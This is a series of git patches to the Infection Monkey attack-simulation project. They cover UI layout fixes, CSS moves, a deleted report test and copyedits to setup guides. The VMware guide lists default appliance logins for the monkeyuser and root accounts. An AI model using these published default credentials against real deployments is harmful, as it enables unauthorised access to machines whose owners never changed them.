15:34:33 -0500 Subject: [PATCH 138/466] ui: resize infection map when window resizes Fixes #150 --- .../ui/src/components/reactive-graph/ReactiveGraph.js | 10 ++++++---- .../monkey_island/cc/ui/src/styles/components/Map.scss | 6 ++++++ 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js index 3199385ba..8d8611eb6 100644 --- a/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js +++ b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js @@ -12,12 +12,14 @@ class GraphWrapper extends React.Component { let newOptions = null; if(this.props.options !== undefined){ newOptions = this.props.options; - newOptions.height = this.props.containerHeight.toString() + 'px'; - newOptions.width = this.props.containerWidth.toString() + 'px'; } - return () + return ( +
+ +
+ ) } } -let ReactiveGraph = Dimensions()(GraphWrapper); +let ReactiveGraph = GraphWrapper; export {ReactiveGraph}; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Map.scss b/monkey/monkey_island/cc/ui/src/styles/components/Map.scss index f6d8ed192..169c61562 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Map.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Map.scss @@ -1,3 +1,9 @@ .map-window { position: relative; } + +.net-graph-wrapper { + height: calc(100% - 130px); + width: 100%; + padding-bottom: 10px; +} From e9b50efc681e8ecd276099021e48a545138b1ccf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 20 Jan 2021 15:35:17 -0500 Subject: [PATCH 139/466] ui: Move map-specific css from App.css to Map.scss --- monkey/monkey_island/cc/ui/src/styles/App.css | 39 ------------------- .../cc/ui/src/styles/components/Map.scss | 39 +++++++++++++++++++ 2 files changed, 39 insertions(+), 39 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 8e2d71cbe..b77fb65f7 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -301,45 +301,6 @@ body { background: #d30d09; } -.telemetry-console { - z-index: 2; - position: absolute; - bottom: 0; - left: 0; - right: 0; - height: 130px; - background: rgba(0, 0, 0, 0.7); - border-radius: 5px; - border: 3px solid #aaa; - padding: 0.5em; - color: white; - font-family: Consolas, "Courier New", monospace; - overflow: auto; -} - -.telemetry-console .date { - color: #ccc; -} - -.telemetry-console .source { - font-weight: bold; -} - -.telemetry-lines { - z-index: 3; - position: absolute; - bottom: 103px; - right: 20px; - background: #000000cc; - border-radius: 5px; - padding: 1px; - color: white; -} - -.map-legend { - font-size: 18px; -} - /* * Full Logs Page */ diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Map.scss b/monkey/monkey_island/cc/ui/src/styles/components/Map.scss index 169c61562..ebeb7c687 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Map.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Map.scss @@ -1,7 +1,46 @@ +.map-legend { + font-size: 18px; +} + .map-window { position: relative; } +.telemetry-console { + z-index: 2; + position: absolute; + bottom: 0; + left: 0; + right: 0; + height: 130px; + background: rgba(0, 0, 0, 0.7); + border-radius: 5px; + border: 3px solid #aaa; + padding: 0.5em; + color: white; + font-family: Consolas, "Courier New", monospace; + overflow: auto; +} + +.telemetry-console .date { + color: #ccc; +} + +.telemetry-console .source { + font-weight: bold; +} + +.telemetry-lines { + z-index: 3; + position: absolute; + bottom: 103px; + right: 20px; + background: #000000cc; + border-radius: 5px; + padding: 1px; + color: white; +} + .net-graph-wrapper { height: calc(100% - 130px); width: 100%; From 06d3c70c3e528048f04e177d9df968030caea284 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 22 Jan 2021 17:24:00 +0200 Subject: [PATCH 140/466] PTH map got removed because it wasn't working. No point in testing code which we know doesn't work of feature we don't use --- .../cc/services/reporting/test_pth_report.py | 59 ------------------- 1 file changed, 59 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/reporting/test_pth_report.py diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py deleted file mode 100644 index e5fc9aa9a..000000000 --- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py +++ /dev/null @@ -1,59 +0,0 @@ -import uuid - -from monkey_island.cc.models import Monkey -from monkey_island.cc.services.reporting.pth_report import PTHReportService - - -class TestPTHReportServiceGenerateMapNodes(): - def test_generate_map_nodes(self): - assert PTHReportService.generate_map_nodes() == [] - - windows_monkey_with_services = Monkey( - guid=str(uuid.uuid4()), - hostname="A_Windows_PC_1", - critical_services=["aCriticalService", "Domain Controller"], - ip_addresses=["1.1.1.1", "2.2.2.2"], - description="windows 10" - ) - windows_monkey_with_services.save() - - windows_monkey_with_no_services = Monkey( - guid=str(uuid.uuid4()), - hostname="A_Windows_PC_2", - critical_services=[], - ip_addresses=["3.3.3.3"], - description="windows 10" - ) - windows_monkey_with_no_services.save() - - linux_monkey = Monkey( - guid=str(uuid.uuid4()), - hostname="A_Linux_PC", - ip_addresses=["4.4.4.4"], - description="linux ubuntu" - ) - linux_monkey.save() - - map_nodes = PTHReportService.generate_map_nodes() - - assert 2 == len(map_nodes) - - def test_generate_map_nodes_parsing(self): - monkey_id = str(uuid.uuid4()) - hostname = "A_Windows_PC_1" - windows_monkey_with_services = Monkey( - guid=monkey_id, - hostname=hostname, - critical_services=["aCriticalService", "Domain Controller"], - ip_addresses=["1.1.1.1"], - description="windows 10" - ) - windows_monkey_with_services.save() - - map_nodes = PTHReportService.generate_map_nodes() - - assert map_nodes[0]["id"] == monkey_id - assert map_nodes[0]["label"] == "A_Windows_PC_1 : 1.1.1.1" - assert map_nodes[0]["group"] == "critical" - assert len(map_nodes[0]["services"]) == 2 - assert map_nodes[0]["hostname"] == hostname From c1118a54c0e8890b4815ead91718b4029606671b Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 10:36:53 -0500 Subject: [PATCH 141/466] Update azure.md --- docs/content/setup/azure.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/content/setup/azure.md b/docs/content/setup/azure.md index a4a2eda84..5ad41aa2e 100644 --- a/docs/content/setup/azure.md +++ b/docs/content/setup/azure.md @@ -9,16 +9,16 @@ tags: ["setup", "azure"] ## Deployment -Select [Infection Monkey from the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/guardicore.infection_monkey) and click **GET IT NOW**. +Select the [Infection Monkey from the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/guardicore.infection_monkey) and click **GET IT NOW**. 1. Under **Basics**: - 1. Choose a name for your Infection Monkey instance, such as InfectionMonkey. - 1. Choose a username and password or provide a SSH public key for authentication. - 1. Choose a resource group and the location your instance will be deployed in. + 1. Choose a name for the Infection Monkey instance, such as InfectionMonkey. + 1. Choose a username and password or provide an SSH public key for authentication. + 1. Choose a resource group and the location for your instance. 1. Under **Size** 1. Choose a machine size with at least 1GB of RAM for optimal performance. 1. Under **Settings** - 1. Choose the network the new instance will be a member of. + 1. Choose the network for your new instance. 1. In the **Network Security Group** field, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic. 1. Under **Summary** 1. Review the details of the offer and click **Create**. @@ -29,6 +29,6 @@ At this point, Azure will instance and deploy your new machine. When ready, you ## Upgrading -Currently there's no "upgrade-in-place" option when a new version comes out. To get the new version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version is released. To get the updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 45ed91327ddc3a9ee56edbc22ce04fc643cd9de2 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 10:55:03 -0500 Subject: [PATCH 142/466] Update debian.md --- docs/content/setup/debian.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index a1d751411..2dd04c1f8 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -19,7 +19,7 @@ sudo apt update sudo dpkg -i monkey_island.deb # this might print errors ``` -If at this point, dpkg printed errors that look like this: +If, at this point, you receive dpkg printed errors that look like this: ```sh dpkg: error processing package gc-monkey-island (--install): @@ -28,7 +28,7 @@ Errors were encountered while processing: gc-monkey-island ``` -That just means that not all dependencies were pre-installed on your system. That’s no problem! Just run the following command, which will install all dependencies and then install the Monkey Island: +It just means that not all dependencies were pre-installed on your system. That’s no problem! Just run the following command, which will install all dependencies, and then install the Monkey Island: ```sh sudo apt install -f @@ -38,7 +38,7 @@ sudo apt install -f ### Trying to install on Ubuntu <16.04 -If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow the following steps: +If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow these steps: ```sh sudo apt update @@ -59,6 +59,6 @@ To check the status of the Monkey Island after the installation, run the followi To upgrade when a new version comes out, download the new Monkey `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 0cbe23846515eecd75e4034bf84f0dc030f12410 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 10:57:28 -0500 Subject: [PATCH 143/466] Update docker.md --- docs/content/setup/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 4a07293b8..ba613d57b 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -25,6 +25,6 @@ sudo docker run --name monkey-island --network=host -d guardicore/monkey-island: There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file by using the export button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 4737dc9b76558d593ab0f96f4684e33df06ab15d Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 11:15:58 -0500 Subject: [PATCH 144/466] Update vmware.md --- docs/content/setup/vmware.md | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 5ee958188..019884f13 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -9,22 +9,19 @@ tags: ["setup", "vmware"] ## Deployment -1. Deploy the Infection Monkey OVA by choosing Deploy OVF Template and follow the wizard instructions. *Note: make sure port 5000 and 5001 on the machine are accessible for inbound TCP traffic.* +1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and following the wizard instructions. *Note: make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic.* 2. Turn on the Infection Monkey VM. 3. Log in to the machine with the following credentials: 1. Username: **monkeyuser** 2. Password: **Noon.Earth.Always** -4. It's recommended to change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. +4. It's recommended you change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. ## OVA network modes -The OVA can be used in one of two modes: +You can use the OVA in one of two modes: -1. In a network with DHCP configured. In this case, the Monkey Island will automatically query and receive an IP address from the network. -1. With a static IP address. - - In this case, you should login to the VM console with -username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file. You can do that by writing the following command in the prompt: +1. In a network with the DHCP configuredβ€” In this case, the Monkey Island will automatically query and receive an IP address from the network. +2. With a static IP address β€” For this case, you should login to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: ```sh sudo nano /etc/network/interfaces @@ -47,7 +44,7 @@ username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the inte gateway YYY.YYY.YYY.YYY ``` - Save the changes then run the command + Save the changes then run the command: ```sh sudo ifdown ens160 && ifup ens160 @@ -55,8 +52,6 @@ username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the inte ## Upgrading -There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. - -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +There's no "upgrade-in-place" option for VMware. To get the new version, download the updated file. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 4d5a07a6259ccbe29410c6c071e504d0977d7870 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 11:19:53 -0500 Subject: [PATCH 145/466] Update vmware.md Copyedits - Note: The upgrade instructions were for Docker in original, please confirm VMware update steps. Thanks! --- docs/content/setup/vmware.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 019884f13..d39b9b06f 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -27,7 +27,7 @@ You can use the OVA in one of two modes: sudo nano /etc/network/interfaces ``` - And change the lines: + Change the lines: ```sh auto ens160 From 9e2f13e208edcf34b55baf4908e98def0ad1d760 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Fri, 22 Jan 2021 11:50:51 -0500 Subject: [PATCH 146/466] Update windows.md --- docs/content/setup/windows.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index d8a6c84e9..1b008bd9d 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -9,27 +9,27 @@ tags: ["setup", "windows"] ## Deployment -Run the installer, and you should be met with the following screen: +After running the installer, the following prompt should appear on the screen: ![Windows installer screenshot](../../images/setup/windows/installer-screenshot-1.png "Windows installer screenshot") -1. Follow the steps of the installation. +1. Follow the steps to complete the installation. 1. Run the Monkey Island by clicking on the desktop shortcut. ## Troubleshooting -### Missing windows update +### Missing Windows update -The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows) to be installed. If you’re having trouble running the installer, please make sure to install that update via Windows Update or manually from the link. +The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). If you’re having trouble running the installer, please make sure to install the update via Windows Update or manually from the link above. ### Supported browsers -The Monkey Island supports Chrome (and Chrome-based) browsers. Some Windows Servers only have Internet Explorer installed. Make sure to use Chrome or a similar modern browser. [You can download Google Chrome from here](https://www.google.com/chrome/). +The Monkey Island supports Chrome (and Chrome-based) browsers. Some Windows Servers only have Internet Explorer installed, so make sure you're using Chrome or a similar modern browser. [You can download Google Chrome here](https://www.google.com/chrome/). ## Upgrading -To upgrade, download the new installer and run it. The new Monkey version should be installed over the old one. +To upgrade the Infection Monkey on Windows, download the new installer and run it. The new Monkey version will install over the old one. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 913b35dde3af5305d28e9668546e93b2a1ca2f3c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 25 Jan 2021 10:35:39 -0500 Subject: [PATCH 147/466] Update slack links in documentation --- CONTRIBUTING.md | 2 +- docs/content/FAQ/_index.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 08a78a815..0f1131b65 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -8,7 +8,7 @@ Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the -maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). +maintainers of this project) at our [Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU). ## Submitting Issues * **Do** write a detailed description of your bug and use a descriptive title. diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index f76c0f3b1..3486a4fc4 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -5,7 +5,7 @@ draft: false pre: " " --- -Here are some of the most common questions we receive about the Infection Monkey. If the answer you’re looking for isn’t here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). +Here are some of the most common questions we receive about the Infection Monkey. If the answer you’re looking for isn’t here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey). - [Where can I get the latest Monkey version? πŸ“°](#where-can-i-get-the-latest-monkey-version) - [How long does a single Monkey run for? Is there a time limit?](#how-long-does-a-single-monkey-run-for-is-there-a-time-limit) From 61808ae8c05585896d4291ef5a4047ba58653580 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:13:40 -0500 Subject: [PATCH 148/466] Update azure.md --- docs/content/setup/azure.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/azure.md b/docs/content/setup/azure.md index 5ad41aa2e..d31a62047 100644 --- a/docs/content/setup/azure.md +++ b/docs/content/setup/azure.md @@ -14,7 +14,7 @@ Select the [Infection Monkey from the Azure Marketplace](https://azuremarketplac 1. Under **Basics**: 1. Choose a name for the Infection Monkey instance, such as InfectionMonkey. 1. Choose a username and password or provide an SSH public key for authentication. - 1. Choose a resource group and the location for your instance. + 1. Choose a resource group and the location for the Infection Monkey instance. 1. Under **Size** 1. Choose a machine size with at least 1GB of RAM for optimal performance. 1. Under **Settings** @@ -29,6 +29,6 @@ At this point, Azure will instance and deploy your new machine. When ready, you ## Upgrading -Currently, there's no "upgrade-in-place" option when a new version is released. To get the updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version is released. To get the updated version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 4e9d794b0ee41ba5307a055317282f66cc1288b7 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:17:59 -0500 Subject: [PATCH 149/466] Update windows.md --- docs/content/setup/windows.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 1b008bd9d..b24c913fa 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -24,7 +24,7 @@ The installer requires [Windows update #2999226](https://support.microsoft.com/e ### Supported browsers -The Monkey Island supports Chrome (and Chrome-based) browsers. Some Windows Servers only have Internet Explorer installed, so make sure you're using Chrome or a similar modern browser. [You can download Google Chrome here](https://www.google.com/chrome/). +The Monkey Island supports Chrome (and Chrome-based) browsers. If your Windows server only has Internet Explorer installed, please install Chrome or a similar modern browser. [You can download Google Chrome here](https://www.google.com/chrome/). ## Upgrading From c239f03615ebd7fe99b0a2e1dfa50de72141ef31 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:20:47 -0500 Subject: [PATCH 150/466] Update windows.md --- docs/content/setup/windows.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index b24c913fa..514b999f8 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -28,8 +28,8 @@ The Monkey Island supports Chrome (and Chrome-based) browsers. If your Windows s ## Upgrading -To upgrade the Infection Monkey on Windows, download the new installer and run it. The new Monkey version will install over the old one. +To upgrade the Infection Monkey on Windows, download the new installer and run it. The new Monkey version will be installed over the old version. -If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new server. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 5f64921499ab36d9f0a02533884c38d5708c681e Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:23:20 -0500 Subject: [PATCH 151/466] Update vmware.md --- docs/content/setup/vmware.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index d39b9b06f..20557561d 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -10,18 +10,18 @@ tags: ["setup", "vmware"] ## Deployment 1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and following the wizard instructions. *Note: make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic.* -2. Turn on the Infection Monkey VM. -3. Log in to the machine with the following credentials: +1. Turn on the Infection Monkey VM. +1. Log in to the machine with the following credentials: 1. Username: **monkeyuser** - 2. Password: **Noon.Earth.Always** -4. It's recommended you change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. + 1. Password: **Noon.Earth.Always** +1. It's recommended you change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. ## OVA network modes You can use the OVA in one of two modes: 1. In a network with the DHCP configuredβ€” In this case, the Monkey Island will automatically query and receive an IP address from the network. -2. With a static IP address β€” For this case, you should login to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: +1. With a static IP address β€” For this case, you should login to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: ```sh sudo nano /etc/network/interfaces From 6950ef2e6b893f199b824c3e1936357fd1f7e4ee Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:24:51 -0500 Subject: [PATCH 152/466] Update vmware.md --- docs/content/setup/vmware.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 20557561d..a92fcad94 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -52,6 +52,6 @@ You can use the OVA in one of two modes: ## Upgrading -There's no "upgrade-in-place" option for VMware. To get the new version, download the updated file. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +There's no "upgrade-in-place" option for VMware. To get the new version, download the updated OVA file. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 5824b11657f68ae14415222ede5d506a09b2be50 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 13:34:43 -0500 Subject: [PATCH 153/466] Update vmware.md --- docs/content/setup/vmware.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index a92fcad94..11c0ab092 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -20,8 +20,8 @@ tags: ["setup", "vmware"] You can use the OVA in one of two modes: -1. In a network with the DHCP configuredβ€” In this case, the Monkey Island will automatically query and receive an IP address from the network. -1. With a static IP address β€” For this case, you should login to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: +1. In a network with the DHCP configured β€” In this case, the Monkey Island will automatically query and receive an IP address from the network. +1. With a static IP address β€” In this case, you should log in to the VM console with the username `root` and the password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file by writing the following command in the prompt: ```sh sudo nano /etc/network/interfaces @@ -52,6 +52,6 @@ You can use the OVA in one of two modes: ## Upgrading -There's no "upgrade-in-place" option for VMware. To get the new version, download the updated OVA file. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download the updated OVA file. If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From d50f43e43e4b1d952dd916e67c20f63f900eb895 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 14:01:05 -0500 Subject: [PATCH 154/466] Update debian.md --- docs/content/setup/debian.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index 2dd04c1f8..d94785dc8 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -8,6 +8,16 @@ disableToc: false tags: ["setup", "debian", "linux"] --- +--- +title: "Debian" +date: 2020-05-26T20:57:19+03:00 +draft: false +pre: ' ' +weight: 1 +disableToc: false +tags: ["setup", "debian", "linux"] +--- + ## Deployment To extract the `tar.gz` file, run `tar -xvzf monkey-island-debian.tar.gz`. @@ -57,8 +67,9 @@ To check the status of the Monkey Island after the installation, run the followi ## Upgrading -To upgrade when a new version comes out, download the new Monkey `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. +Currently, there's no "upgrade-in-place" option when a new version is released. To get the updated version, download the new `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. -If you'd like to keep your existing configuration, you can export it to a file using the export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") + From 7d58b873c9dafd6c299de909573cfde063a9f1e3 Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Tue, 26 Jan 2021 14:10:13 -0500 Subject: [PATCH 155/466] Update docker.md --- docs/content/setup/docker.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index ba613d57b..15e62ced2 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -23,8 +23,8 @@ sudo docker run --name monkey-island --network=host -d guardicore/monkey-island: ## Upgrading -There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. +Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download it, stop the current container and run the installation commands again with the new file. -If you'd like to keep your existing configuration, you can export it to a file by using the export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") From e04e11e4ac87967f0a0f2cef0839680001dc87d4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 21 Jan 2021 15:07:19 -0500 Subject: [PATCH 156/466] ui: add "reset to safe defaults" in AdvancedMultiSelect If the user selects an unsafe exploit or post breach action, a yellow warning button appears that allows the user to reset to safe defaults. --- .../ui-components/AdvancedMultiSelect.js | 60 +++++++++++++++++-- .../ui-components/MasterCheckbox.js | 6 +- .../components/AdvancedMultiSelect.scss | 6 +- 3 files changed, 62 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 56658cf71..508bafa83 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -1,5 +1,5 @@ 